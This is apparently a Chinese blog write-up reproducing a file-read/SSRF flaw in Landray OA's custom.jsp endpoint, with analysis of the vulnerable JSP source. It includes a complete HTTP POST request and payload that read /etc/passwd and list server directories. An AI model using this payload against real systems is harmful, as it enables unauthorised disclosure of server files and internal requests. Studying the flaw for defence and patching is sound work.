起因
P.S. 我看网上的复现都是读文件的都写CNVD-2021-28277,但是看蓝凌安全中心的漏洞公告显示是
问题:CNVD-2021-28277 攻击者可利用该漏洞获取服务器控制权
安全补丁:#133383 /#137780
修复:1、任意用户密码重置;
2、ObjectXML反序列化漏洞增加白名单功能
反倒是CNVD-2021-37311和官方公告中的都是任意文件读取漏洞
介绍
访问http://example.com/sys/ui/extend/varkind/custom.jsp
,以下页面即为存在漏洞
payload为var={"body":{"file":"file:///etc/passwd/"}}
数据包如下
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 127.0.0.1
Content-Length: 42
Cache-Control: max-age=0
Origin: http://example.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://example.com/sys/ui/extend/varkind/custom.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=428B6FA67BD4232CB1D689E1C3787E2E
Connection: close
var={"body":{"file":"file:///etc/passwd"}}
复现
可以读文件
可以读目录
分析
通过漏洞读取到/sys/ui/extend/varkind/custom.jsp
代码如下
<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
看了一下文档
<c:import> 检索绝对或相对 URL,并将其内容公开给页面
<c:param> 将参数添加到包含“import”标签的 URL。
经测试c:import
标签是可以请求远程文件,所以感觉这个叫SSRF应该更合适
参考文章
import (TLDDoc Generated Documentation)
param (TLDDoc Generated Documentation)
转载请注明来源,欢迎对文章中的引用来源进行考证,文章可能具有时效性,欢迎指出任何有错误、已失效或不够清晰的表达 ,可通过[邮件](mailto:cnlnnn@qq.com)联系垃圾堆主人